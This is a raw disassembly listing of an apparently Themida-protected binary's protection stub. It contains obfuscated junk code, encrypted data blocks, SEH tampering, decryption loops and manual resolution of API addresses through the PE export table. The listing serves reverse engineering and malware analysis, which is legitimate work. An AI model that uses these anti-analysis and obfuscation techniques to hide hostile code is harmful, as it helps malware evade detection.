test al, 66h
mov ebx, 7B23A428h
scasb
mov al, ds:8B6660AEh
setalc
add [ebp+6151D61h], esi
popa
loc_5B2585: ; DATA XREF: Themida_:0057B17Co
mov ebx, [esp+0Ch]
push ebp
call $+5
pop ebp
sub ebp, 6188B60h
mov eax, [ebp+6151685h]
mov [ebp+6152811h], eax
mov eax, [ebp+6150789h]
mov [ebp+6152159h], eax
mov eax, [ebp+6151789h]
mov [ebp+6150DE9h], eax
mov byte ptr [ebp+61509C5h], 0
mov dword ptr [ebp+618745Dh], 0
lea eax, [ebp+6188BCBh]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
jmp loc_5B25F4
; ---------------------------------------------------------------------------
dd 0C1A67907h, 0F460C5DAh, 0DABB2858h, 1F035467h, 40A54E33h
; ---------------------------------------------------------------------------
loc_5B25F4: ; CODE XREF: Themida_:005B25DBj
xor [ebp+61522D1h], eax
loc_5B25FA: ; CODE XREF: Themida_:005B2550j
mov esp, 12FF74h
mov [ebp+61502F5h], edx
pop large dword ptr fs:0
push 0
push esi
call sub_5B2617
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2617 proc near ; CODE XREF: Themida_:005B260Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5B2617 endp
; ---------------------------------------------------------------------------
xchg eax, ebp
push es
imul ecx, [ecx], 7Eh
adc [esi], eax
scasd
push edi
cwde
sub [ebp+61526C9h], edi
pusha
jmp loc_5B264B
; ---------------------------------------------------------------------------
db 0D6h, 7, 26h
dd 0A965AC1h, 9820CA24h
; ---------------------------------------------------------------------------
pop ds
jle short loc_5B26BA
loc_5B264B: ; CODE XREF: Themida_:005B2638j
jp loc_5B2657
mov [ebp+6152591h], ecx
loc_5B2657: ; CODE XREF: Themida_:loc_5B264Bj
popa
add esp, 4
pusha
sub cx, 0BB31h
xor [ebp+6152DA1h], edi
popa
popa
jmp loc_5B26F1
; ---------------------------------------------------------------------------
push ebx
push ecx
push edx
push esi
push edi
mov ebx, [esp+1Ch]
cmp word ptr [ebx], 5A4Dh
jnz loc_5B26EA
movzx eax, word ptr [ebx+3Ch]
add ebx, eax
cmp word ptr [ebx], 4550h
jnz loc_5B26EA
mov ebx, [ebx+78h]
add ebx, [esp+1Ch]
mov esi, [ebx+24h]
add esi, [esp+1Ch]
push esi
mov edi, [ebx+20h]
mov esi, [ebx+1Ch]
add edi, [esp+20h]
add esi, [esp+20h]
cld
or ecx, 0FFFFFFFFh
loc_5B26B4: ; CODE XREF: Themida_:005B26CAj
; Themida_:005B26D2j
inc ecx
mov ebx, [esp+1Ch]
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_5B26BA: ; CODE XREF: Themida_:005B2649j
pop ss
add edx, [esp+20h]
add edi, 4
loc_5B26C2: ; CODE XREF: Themida_:005B26CEj
mov al, [edx]
test al, al
jz short loc_5B26D0
cmp al, [ebx]
jnz short loc_5B26B4
inc ebx
inc edx
jmp short loc_5B26C2
; ---------------------------------------------------------------------------
loc_5B26D0: ; CODE XREF: Themida_:005B26C6j
cmp al, [ebx]
jnz short loc_5B26B4
pop edi
shl ecx, 1
movzx eax, word ptr [edi+ecx]
mov eax, [esi+eax*4]
add eax, [esp+1Ch]
loc_5B26E2: ; CODE XREF: Themida_:005B26ECj
pop edi
pop esi
pop edx
pop ecx
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_5B26EA: ; CODE XREF: Themida_:005B267Cj
; Themida_:005B268Dj
xor eax, eax
jmp loc_5B26E2
; ---------------------------------------------------------------------------
loc_5B26F1: ; CODE XREF: Themida_:005B2669j
mov ecx, edx
call near ptr loc_5B2705+3
loc_5B26F8: ; CODE XREF: Themida_:005B26FDj
cmp [ecx+3], ebx
shl dl, cl
jnz short loc_5B26F8
aad 23h
cli
sbb dword ptr [edx], 49h
loc_5B2705: ; CODE XREF: Themida_:005B26F3p
add byte ptr ds:3830Fh[eax*2], 0
add [eax-6A75611h], al
add eax, 5C6Bh
mov esi, 35C66B82h
mov ecx, 16FBh
movzx ebx, cx
loc_5B2726: ; CODE XREF: Themida_:005B2773j
push dword ptr [eax]
jnp loc_5B272F
stc
loc_5B272F: ; CODE XREF: Themida_:005B2728j
pop edi
sbb bx, 0B30Ah
add edi, 3420A487h
movzx edx, si
sub edi, 222AF29Ch
add bx, 9141h
sub edi, 0D2F8A07h
movzx ebx, cx
mov [eax], edi
cld
sub eax, 1
jle loc_5B275F
cld
loc_5B275F: ; CODE XREF: Themida_:005B2758j
dec eax
dec eax
dec eax
pusha
mov cx, 5AF5h
mov edx, 3B5FD969h
popa
sub ecx, 1
jnz loc_5B2726
mov dl, 31h
call sub_5B278E
retn 0C886h
; ---------------------------------------------------------------------------
db 47h
dd 4227B701h, 9B76FEB6h
db 4Ch, 7Ah
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5B278E proc near ; CODE XREF: Themida_:005B277Bp
jmp sub_5B27A2
sub_5B278E endp
; ---------------------------------------------------------------------------
db 79h
dd 427D973h, 0AD7873C2h, 98A0E8EDh
; ---------------------------------------------------------------------------
lahf
dec edi
; =============== S U B R O U T I N E =======================================
sub_5B27A2 proc near ; CODE XREF: sub_5B278Ej
pop esi
mov dl, 7Eh
add esi, 6BD5h
pusha
mov ax, 0ECBh
stc
popa
mov eax, 771713AAh
add eax, 88E90714h
mov edx, eax
loc_5B27BF: ; CODE XREF: sub_5B2804:loc_5B284Aj
; sub_5B27A2+3Bj
push dword ptr [esi]
pop ecx
pusha
push eax
mov edx, esi
pop esi
movsx ecx, ax
popa
sub ecx, 1BE26100h
call sub_5B27E0
lodsb
mov ebx, [ebx+3Ah]
inc ebp
pop esi
leave
jge short near ptr loc_5B27BF+1
hlt
sub_5B27A2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B27E0 proc near ; CODE XREF: sub_5B27A2+2Fp
movsx edx, di
pop edi
sub ecx, 4819B38Ah
xor ecx, 1D60AA3Dh
push eax
call near ptr sub_5B2804
mov dh, 4Bh
lodsd
scasb
loop loc_5B2875
sub ebx, [ebp-11h]
cmp eax, 0A9ECDA1Eh
sub_5B27E0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B2804 proc far ; CODE XREF: sub_5B27E0+11p
arg_0 = dword ptr 4
add di, 0B6FCh
pop edi
pop edx
mov [esi], ecx
pusha
push ebx
push esi
pop ebx
pop esi
jmp loc_5B2820
; ---------------------------------------------------------------------------
db 25h
dd 340B463Ch, 41158113h
; ---------------------------------------------------------------------------
loc_5B2820: ; CODE XREF: sub_5B2804+Ej
popa
sub esi, 4
sbb dx, 3C6Fh
sub eax, 1
jnz loc_5B284A
pusha
mov esi, ebx
push ebx
movsx ecx, dx
pop ecx
popa
jmp loc_5B2861
; ---------------------------------------------------------------------------
db 66h
dd 0ED33D49Dh
db 5Eh, 0E1h
; ---------------------------------------------------------------------------
loc_5B284A: ; CODE XREF: sub_5B2804+2Bj
jmp loc_5B27BF
; ---------------------------------------------------------------------------
db 0C4h
dd 0D53FC185h, 26C1FAC9h, 8255E96Bh, 0C87C8EF3h
db 6Dh
; ---------------------------------------------------------------------------
loc_5B2861: ; CODE XREF: sub_5B2804+3Aj
jmp short loc_5B2897
; ---------------------------------------------------------------------------
db 49h
dd 474D5346h, 56202052h, 2020444Bh, 56202020h
; ---------------------------------------------------------------------------
dec ebp
loc_5B2875: ; CODE XREF: sub_5B27E0+1Aj
dec ebp
and [eax], ah
and [eax], ah
and [esi+57h], dl
dec ecx
dec esi
xor esi, [edx]
and [eax], ah
push esi
pop eax
inc esp
dec esp
inc esp
push edx
and [eax], ah
; ---------------------------------------------------------------------------
db 0
dd 2 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5B2897: ; CODE XREF: sub_5B2804:loc_5B2861j
jmp loc_5B2EBF
; ---------------------------------------------------------------------------
push 0
push ebp
call loc_5B28A7
and [ebp-3Dh], bl
loc_5B28A7: ; CODE XREF: sub_5B2804+9Bp
pop ebp
mov [esp+arg_0], ebp
add [esp+arg_0], 1Bh
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
db 99h
dd 90989B62h, 60E5BFB3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 0EDC35545h, 5C85C712h, 6188Eh, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0C08CC350h, 0FC8571C8h, 0FF9C68Bh, 6AD8B7h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 0C176B8C3h, 860F10E8h, 0Fh, 0AE9h, 4668FC00h, 8C7017AFh
dd 66BF1CA0h, 6A08C8C1h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 0A2FC351h, 60858913h
dd 0E906188Eh, 8, 68050C95h, 55BBE9B9h, 8CBC166h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 9FC35141h, 9B9378A9h
dd 0F40FB83h, 4B85h, 0BF0F6000h, 60F860D9h, 8D616161h
dd 188E34BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 7148B9D9h, 3FEEFB05h, 810F8BF8h
dd 1, 28E9F8F5h, 0F9000001h, 0A8E38160h, 61309FE9h, 0F0DFB83h
dd 4D85h, 0CE9F900h, 22000000h, 0EF47EA2h, 2B4F4DC9h, 8D504BDBh
dd 188E3CBDh, 0BF0F6006h, 43D981C7h, 613EE145h, 0EEE9h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0FCA6EA0Eh, 6F4DE913h, 0FB83F03Ch, 40850F01h
dd 60000000h, 0D39BF381h, 0BB603C7Ch, 1502D9Bh, 0DE8h
dd 24222900h, 0B209C7E2h, 3083D80Ch, 615A7BD1h, 44BD8D61h
dd 0E906188Eh, 6, 0D2DB6409h, 0E9F9F04Ah, 87h, 1800Fh
dd 83F80000h, 850F2AFBh, 47h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 65C35242h, 0C820Fh, 860F0000h
dd 6, 8B0Fh, 0BD8D0000h, 6188E4Ch, 3DE9F5h, 8E90000h, 41000000h
dd 57412C6Ch, 836491CAh, 850F27FBh, 253h, 0D0B70F60h, 4800Fh
dd 0BA660000h, 0E9611B13h, 0Ch, 0B5FD8353h, 0F494A953h
dd 3B2ADB5Ch, 8E54BD8Dh, 89F80618h, 188E64BDh, 7800F06h
dd 0F000000h, 182h, 8C66F800h, 50006AC8h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 3319A06Fh
dd 0CB00FF00h, 11850F60h, 0E9000000h, 0Ch, 0CA86A4DDh
dd 0CF8E44FAh, 0DF98E090h, 11E9h, 3BEBC200h, 0B598A60Eh
dd 4FA1E100h, 52D855DFh, 2461FECBh, 6660F503h, 288DE81h
dd 14E8h, 0E4B8D300h, 12FE3A0Ah, 1F055D19h, 9F0013C5h
dd 1A332BA7h, 615BF899h, 850FC00Ah, 112h, 74B58DFCh, 0E9061893h
dd 0Eh, 889E5D68h, 1A97E254h, 0FD492175h, 858B7AB3h, 6189433h
dd 816660FCh, 61DD29E7h, 11E950h, 0AB10000h, 0D9587B65h
dd 1D24734Eh, 0DCCB2C9h, 89910F1Bh, 8C0F2414h, 0Fh, 0AE9h
dd 394E7F00h, 0E712D436h, 0F415ECDh, 0FE244C01h, 1820Fh
dd 5AF80000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 0EC35545h, 0E9ADDC9Ch, 83F9F917h, 6A24C2h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0FCCE2C3h, 18Dh, 8966F500h, 10E9FC72h, 0DA000000h, 35DB9D57h
dd 0B094751Fh, 84343E0Ah, 0C16B3E2Bh, 8B0F10CEh, 17h, 11830Fh
dd 0CE90000h, 4000000h, 1C510DD2h, 0B639CE7Eh, 66C75E1Bh
dd 0F9027289h, 0E9F904CDh, 78h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 2DC35040h, 858BC12Bh, 6189433h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C3C35040h
dd 7A9B3493h, 9148591Ch, 74B58DF9h, 0F5061893h, 4559858Dh
dd 6A0618h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 7B356FC3h, 0F8D0FFFCh, 8E5C8589h, 6A0618h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0A01546C3h, 278E4C0Fh, 61F99BE3h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 0E9C35747h, 0E9605DDAh, 6
dd 0B224728Eh, 8B61BD19h, 188E5C85h, 6AC3F906h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 11F2C356h, 8F0FF5F2h, 0Eh, 9E9h, 14D11300h, 0B5E88862h
dd 60F931D0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 41C35545h, 310BE929h, 9AC1661Eh, 9433BD83h, 0F000618h
dd 7F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 52FAF0B3h, 0C1A5CA5h, 0E9609E00h
dd 14h, 0F12583BBh, 0D08338AAh, 0CF7D779Fh, 0ED93CA09h
dd 0F5EB04BEh, 0DE9h, 4CB5000h, 0DAE57026h, 5E616961h
dd 0C761CFCDh, 18943385h, 1013F06h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 60904F8Ch
dd 0F8F59FC9h, 7E9h, 3BBF6000h, 6108A441h, 20CDh, 0C00B0000h
dd 708D3774h, 64BD8B0Ch, 0B906188Eh, 8, 492275A6h, 488BFA75h
dd 609D8B30h, 3B06188Eh, 157F3458h, 0D26BD38Bh, 8BCA0304h
dd 5C858901h, 0EB06188Eh, 0EB008B04h, 858B61C5h, 6188E5Ch
dd 0AE9CFh, 0A80000h, 3317E81Ah, 0B32B27C6h, 18B0Fh
db 2 dup(0), 0F8h
; ---------------------------------------------------------------------------
loc_5B2EBF: ; CODE XREF: sub_5B2804:loc_5B2897j
mov eax, eax
jmp loc_5B2ED1
; ---------------------------------------------------------------------------
dw 0EFB2h
dd 8A0h, 0
db 0
; ---------------------------------------------------------------------------
loc_5B2ED1: ; CODE XREF: sub_5B2804+6BDj
jmp loc_5B33CB
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 6Bh
dd 0A4051AFBh, 73D26134h, 3BBD7203h, 75F52ACBh, 703B7005h
dd 0A84DBD3Dh, 0F184F47Bh, 0C352C242h, 0F69F0F6Ch, 1F4201CDh
dd 0DE169E66h, 0C7241F1Dh, 654ABA3Bh, 52C24031h, 199A97C3h
dd 0F350C1A9h, 1D9E9383h, 8EA369ADh, 8778BE2Eh, 53C326E3h
dd 7964CB63h, 987DED4Eh, 0DCB9298Bh, 4175E547h, 0C043CF30h
dd 72E26350h, 8954815Dh, 0D5352C72h, 393CFA90h, 4015DDD0h
dd 0E2631F26h, 6C4B4472h, 0A743EC7Ah, 0FB9A0A6Ah, 0F44F8D4Fh
dd 10862BADh, 83C67F50h, 110862Bh, 3E78F435h, 0E8B96701h
dd 42B21102h, 0BEE3627Ch, 3D10866Ch, 35907E6Ch, 10866CE9h
dd 0C3D7009h, 97A8B8A1h, 7C27h, 0C7240300h, 0C72A8757h
dd 4A515B5Fh, 0F2DD35C4h, 70971E18h, 7410867Dh, 4618DA05h
dd 1B1B8BEDh, 7D5E8322h, 0F01D1086h, 5A301F8Fh, 0A8A8CE5Bh
dd 15697h, 24320000h, 506155C5h, 920265F1h, 86879BDh, 0A38CFC7Ch
dd 4319FB73h, 0A71E8EEEh, 1086F262h, 0E1125CA0h, 813F27A4h
dd 8CFC83B0h, 0E60CB3DEh, 158DB6F1h, 596545CEh, 868BA7EAh
dd 95754610h, 0D0A51594h, 0A570E063h, 56C62497h, 7EEE5360h
dd 0A5188138h, 6530A022h, 0D2A4DCF9h, 6254C425h, 0FD854A6Dh
dd 3EBD6E1Ch, 5ADBC8CEh, 0E34EACEAh, 0E3104DFCh, 805897A8h
dd 34000000h, 6056C624h, 0BC82F253h, 0E981F177h, 45B5362Bh
dd 0B7458451h, 0D7F0CE68h, 0A8EE5EDCh, 0E5FEB138h, 0AE19C42Bh
dd 0EA39DC4Ch, 0E7EFC88h, 0A27F521h, 2B9B1FABh, 4D3D1204h
dd 0D2EC5CDCh, 72D35FE1h, 143B1402h, 0D742B876h, 180C61E8h
dd 5B7497A9h, 6A000000h, 9278E849h, 56C624AAh, 81F15360h
db 0BDh, 98h, 0Ch
byte_5B30AB db 31h ; DATA XREF: Themida_:00579FB4o
dd 6FCBF4A1h, 0B456C624h, 218CFD7Ah, 41D444A6h, 5D843F1Dh
dd 20108600h, 4FB75B0Fh, 9773E362h, 0FB6179Ah, 1086F2CAh
dd 0E957C724h, 44BFF7D8h, 1086F318h, 55F4DB5Ah, 97A81AE8h
dd 970h, 0E7456E00h, 4867D75Bh, 0C9247AA2h, 0F53CF661h
dd 614E6377h, 4FBF3C35h, 12BD6C47h, 70D3E0h, 0C04CA96Ah
dd 0F3E4D242h, 0B056E777h, 496649FFh, 0A3AFEACh, 0FEB59134h
dd 0F7C8169Bh, 0E151B2BFh, 2C9C1F14h, 0FF448BEAh, 7F2A1693h
dd 68F47750h, 0E0B59A0Ah, 9680F053h, 68AE1E9Dh, 0FDF5E8D1h
dd 0CFC737B4h, 9C1F0CFEh, 0D15C492Ch, 579DBD26h, 138h
dd 0DB0BAB33h, 0F6304003h, 0FCCD169Bh, 7003D4BAh, 655237D0h
dd 0B31001E9h, 0FE7DB243h, 189B888Eh, 0F2756EA8h, 545CB58Ah
dd 0C9E6A8CFh, 0CC58D4CDh, 0E72F0070h, 100676FAh, 7C634A3Fh
dd 5778E84Bh, 0F3D4FBB2h, 60552090h, 9DBD4DDDh, 6063h
dd 0C0835900h, 1693CA99h, 3EE252D7h, 0AB957D6Dh, 4500DE0Eh
dd 9086F23Ch, 4DA8EEBFh, 9086F204h, 0F14C6567h, 0FFAEE981h
dd 0BC82B24Fh, 86F2E009h, 0AC082910h, 0E00DFA3Ch, 81868367h
dd 6858321Dh, 25FA7166h, 374ABCE1h, 86A14B8Eh, 4E613210h
dd 9209A7h, 1D3F0000h, 86A163A6h, 51390A10h, 0DB0BABE9h
dd 5DD8D903h, 36D4A9EDh, 9C062B87h, 7D415216h, 5145B534h
dd 93A08E7Ch, 2D74CF30h, 0D01693E6h, 0EE45D0FFh, 70992C8Dh
dd 0FB1693E6h, 0B211052Ah, 1693E768h, 9136A910h, 2F72D132h
dd 0CE1693E7h, 0A70CD2FDh, 0E9E6D040h, 74447201h, 2C97994Ch
dd 20A15C60h, 0AEB09FB0h, 2AB283A9h, 0DE8CD735h, 6C5BED58h
dd 0C9DA108Ah, 0E757D4CDh, 7A65D4AFh, 0EEFC24D4h, 7AE6BFF8h
dd 794C123Dh, 1AB1C4AFh, 34F89DAEh, 0CCE30BABh, 93A9EBD8h
dd 3C07D7F8h, 169F9AEAh, 0C14DA809h, 0B8FED141h, 0A27323C7h
dd 8CFC7F74h, 9C0481B2h, 5D9C8209h, 3E7C8F0h, 0C838BB68h
dd 656167CEh, 71F81927h, 9E2A893Eh, 776CAA1Ah, 82AD82F2h
dd 4FBF3CF3h, 0EC578547h, 45671A5h, 96937748h, 9174A212h
dd 0B112B528h, 0FC7FB441h, 102A8A8Ch, 0FE000000h, 6DDD624Fh
dd 6CC5977Dh, 0B8288410h, 243FF397h, 475C5ACAh, 314274E4h
dd 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h
dd 4F6452C2h, 783C7AEAh, 81E38953h, 4C3h, 4BA5200h, 29000000h
dd 1C875AD3h, 62685C24h, 8900007Ah, 8957241Ch, 4C781E7h
dd 83000000h, 3C8704EFh, 3C895C24h, 19685524h, 5D0C2560h
dd 0E581D5F7h, 465C5196h, 47AB951h, 0E9813BA7h, 5BC41E2Dh
dd 43BBE981h, 0D1F75903h, 0E981D1F7h, 4AA025B3h, 8959CD29h
dd 8B545DEBh, 0C481243Ch, 4, 8B951h, 0F9010000h, 0C8B1989h
dd 4C48324h, 5F2434FFh, 0FF04C483h, 835B2434h, 0BFE904C4h
dd 56FFFCE4h, 8EB7A245h
db 0D8h, 0A5h, 6Ah
; ---------------------------------------------------------------------------
loc_5B33CB: ; CODE XREF: sub_5B2804:loc_5B2ED1j
mov eax, 6189905h
add eax, ebp
jmp eax
sub_5B2804 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 35CEC1D2h, 86F204Fh, 2AEBC006h, 785146CDh, 1A8F0787h
dd 73053B55h, 0BD80810h, 33602E47h, 7E35B719h, 22E59C78h
dd 714842E3h, 31E5383Ah, 59A29A3Dh, 7D0E6BBBh, 0F08D359h
dd 10A509ADh, 2193A484h, 3A510742h, 1C981AA5h, 148E9h
dd 4800h, 4C00h, 5000h, 5400h, 5800h, 5C00h, 6000h, 6400h
dd 0A800h, 0AC00h, 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h
dd 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h
dd 0E000h, 0E400h, 38h dup(0)
dd 5B348500h, 0B3C20300h, 0F6858D00h, 0E8061899h, 7, 0DE7CC47Eh
dd 0E9F4A230h, 10h, 588E3749h, 90A4DF2h, 19DAAD3Fh, 86C28915h
dd 13E85Ah, 0EA260000h, 2FE9958Eh, 0F48F2143h, 4DAE1E69h
dd 0E9EAB6Eh, 0DE8D3h, 2ABC0000h, 0BFEF6F76h, 5A3E041h
dd 8B7A3705h, 15243D9Dh, 895A5A06h, 189B3685h, 9DE28006h
dd 9C585C6h, 0BF540615h, 6B857B67h, 4E8C4B6h, 29000000h
dd 66EE6268h, 50AA77B9h, 310F5250h, 448B585Ah, 0D3BB0424h
dd 8B38A3FDh, 89F6B700h, 66042444h, 586CD6BFh, 1459958Bh
dd 0B5FF0615h, 6152811h, 0C519D89h, 858D0615h, 61872BCh
dd 10898D09h, 0D0FF0615h, 85893EB7h, 6189B3Ah, 0BF3B70Fh
dd 151D9DB5h, 4EE906h, 8D8B0000h, 6152CE5h
; ---------------------------------------------------------------------------
loc_5B3644: ; DATA XREF: Themida_:0057A654o
; Themida_:0057B434o
push esi
mov esi, [ebp+6189B36h]
mov [esi], eax
add dword ptr [ebp+6189B36h], 4
pop esi
retn
; ---------------------------------------------------------------------------
pusha
lea esi, [ebp+61899F6h]
jmp short loc_5B366E
; ---------------------------------------------------------------------------
loc_5B365F: ; CODE XREF: Themida_:005B3671j
push esi
push 0
push dword ptr [esi]
call dword ptr [ebp+6189B3Ah]
pop esi
add esi, 4
loc_5B366E: ; CODE XREF: Themida_:005B365Dj
cmp dword ptr [esi], 0
jnz short loc_5B365F
popa
retn
; ---------------------------------------------------------------------------
db 33h, 9Dh, 3Dh
dd 0E8061523h, 7, 54DC9593h, 66104026h, 5E6275B9h, 9C27858Dh
dd 0F2B90618h, 894750F5h, 15340185h, 14E806h, 0A9590000h
dd 76994B62h, 94FEE49Ch, 0BDE99A3h, 536221ACh, 8D33A9ACh
dd 6152709h, 0C981665Fh, 0C7818467h, 594Dh, 8E9h, 12739C00h
dd 2CF574BCh, 161FBA98h, 0EFBB0000h, 8B18EA9Dh, 0E2E68107h
dd 810CE80Ch, 0D58377C0h, 69B50158h, 81061524h, 0AA4977C0h
dd 0FE94Dh, 0F3600000h, 2D9CF564h, 6070FB77h, 4A72CCE9h
dd 0E5F08110h, 897446DBh, 150D49B5h, 81078906h, 0AC7348DEh
dd 0D4EF8112h, 8B46322Eh, 1527418Dh, 0D0C78106h, 0F46322Eh
dd 0EA83CFBFh, 1B850F01h, 60000000h, 8BF18B66h, 1515ED9Dh
dd 28E96106h, 2E000000h, 83EC34C6h, 22D84564h, 0B58B133Dh
dd 6151909h, 0FFFF7AE9h, 0B58A08FFh, 0D50225FAh, 788A6D3Eh
dd 0BF00AFAh, 0E992C12Eh, 0F4h, 1DADA46Fh, 8A055C97h, 76A18883h
dd 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h, 0D77DD57Fh
dd 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h
dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 171E577Dh, 2075DF6Dh
dd 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h, 93B2D020h
dd 9DB7EDA6h, 0A3F291B9h, 206020ACh, 20602060h, 60E0E020h
dd 33537520h, 7D2F0D0Ah, 20602055h, 28602060h, 0F0362BA7h
dd 0F360C950h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h
dd 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh, 577DD773h
dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh
dd 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h
dd 7D2F6D37h, 0E0A1E35h, 5D340700h, 59A0A3D2h, 1Eh, 3 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5B44D8
; ---------------------------------------------------------------------------
push 618A0E4h
jmp loc_581882
; ---------------------------------------------------------------------------
push 618A1B5h
jmp loc_581882
; ---------------------------------------------------------------------------
push 618A284h
jmp loc_581882
; ---------------------------------------------------------------------------
push 618A368h
jmp loc_581882
; ---------------------------------------------------------------------------
push 618A3F1h
jmp loc_581882
; ---------------------------------------------------------------------------
push 618A495h
jmp loc_581882
; ---------------------------------------------------------------------------
push 618A5B2h
jmp loc_581882
; ---------------------------------------------------------------------------
push 618A6B6h
jmp loc_581882
; ---------------------------------------------------------------------------
push 618A794h
jmp loc_581882
; ---------------------------------------------------------------------------
push 618A86Dh
jmp loc_581882
; ---------------------------------------------------------------------------
push 618A91Dh
jmp loc_581882
; ---------------------------------------------------------------------------
db 0D8h
dd 1807EE5Eh, 0D74C2999h, 200FE656h, 0CE6530A0h, 8219FC6Ch
dd 0A4149609h, 6DDD62D1h, 0A9199B88h, 64D457CCh, 0AD184691h
dd 169E6C64h, 0DBD88607h, 0FF6FCC58h, 0D5E9E6D0h, 9E6C2B6Eh
dd 29C1D216h, 57C724F1h, 0ABEE5587h, 521086F2h, 81C56A49h
dd 0F9D618DFh, 1C392311h, 605807D5h, 24E585C7h, 4A8B53C3h
dd 9F1FA58Eh, 14680E1Ah, 0B8A5E6F1h, 0C81F1B3Ch, 79C3E08Eh
dd 0A40BA391h, 0BD2D8E39h, 0D2ED2D8h, 861E1336h, 33C7110h
dd 0FC55659Fh, 825C7344h, 9C6157C3h, 2B9AC416h, 169372E6h
dd 6120BC85h, 0FA2FA385h, 0B08135D5h, 9E0E6D86h, 5BCB28F7h
dd 5FCF2E83h, 969B81ABh, 9F70A616h, 0C78CD0EBh, 84E41693h
dd 893C2214h, 1693C740h, 99191A2Bh, 88BC2531h, 2A057860h
dd 2DA009ECh, 8AA5159Ah, 0C007B6DFh, 0D10BD343h, 93B72F72h
dd 0DFDCE16h, 0E252B17Eh, 0C652D7DCh, 0C8C5F161h, 180903E7h
dd 4CEB2B9Bh, 0EE4D7A65h, 9F0A977Eh, 259DBD5Fh, 4F8h, 57C72401h
dd 59C92A87h, 0D6E83B1h, 0EB2F89Dh, 1CD700DEh, 0DE03C238h
dd 9D1086F7h, 5A16AB8Ch, 6577BDADh, 9581F14Ch, 0BFF3D2B8h
dd 0DC169B98h, 3D9A6EFBh, 0BDAD2576h, 67CEC8D9h, 1693DA26h
dd 7D7568CFh, 4E48B834h, 8F1A9971h, 2F9DBD46h, 78128202h
dd 3BCCh, 0BABE000h, 0F04003DBh, 8D169BF5h, 9BCA2BCh, 1693F1C0h
dd 46F09AABh, 6ADA5B58h, 0F1F82580h, 8CEE1693h, 0AB091A1Ch
dd 0F7AFB3Bh, 30E743A0h, 1D61CC7Dh, 0CBE79DBDh, 0C3000000h
dd 5F57C724h, 0BDE45F7Dh, 0DE1086F2h, 86F22267h, 48F8C910h
dd 3BCE6077h, 0F5DBAEEFh, 26961415h, 0F48003F0h, 310E0878h
dd 80E7E02h, 301E1837h, 78128203h, 2DC838BBh, 86125488h
dd 749EB710h, 643CF5D4h, 0B536F397h, 83B045h, 6414A690h
dd 91342A34h, 10868B48h, 0B6886233h, 9C7C4B0Fh, 94613216h
dd 1C225226h, 8B1186A9h, 0CA94A510h, 0FC990969h, 0CA53C327h
dd 0B1BF8FB1h, 2044C0B6h, 8000009h, 0C8573EAEh, 71CF969h
dd 0D05F36A6h, 0BE750070h, 7229CC3Ch, 0B4248639h, 7DED52E1h
dd 0B9298B98h, 74E447DCh, 9D2836A1h, 169E5274h, 24C676F7h
dd 70BF56C6h, 3514AB13h, 0BA8613B3h, 0D6E15640h, 5B744B5Dh
dd 0BAB6EBAh, 0FCD903DBh, 0FDABAFFAh, 0F7A64410h, 169B583Bh
dd 0BE457142h, 1693439Fh, 4BFEB168h, 9DBDCADEh, 0B366h
dd 0C7244200h, 587D5F57h, 80FC8E8Dh, 12994710h, 39B97A10h
dd 3666CDC9h, 2A1086D9h, 67BC59C9h, 0BCA29404h, 0B4B43E9Bh
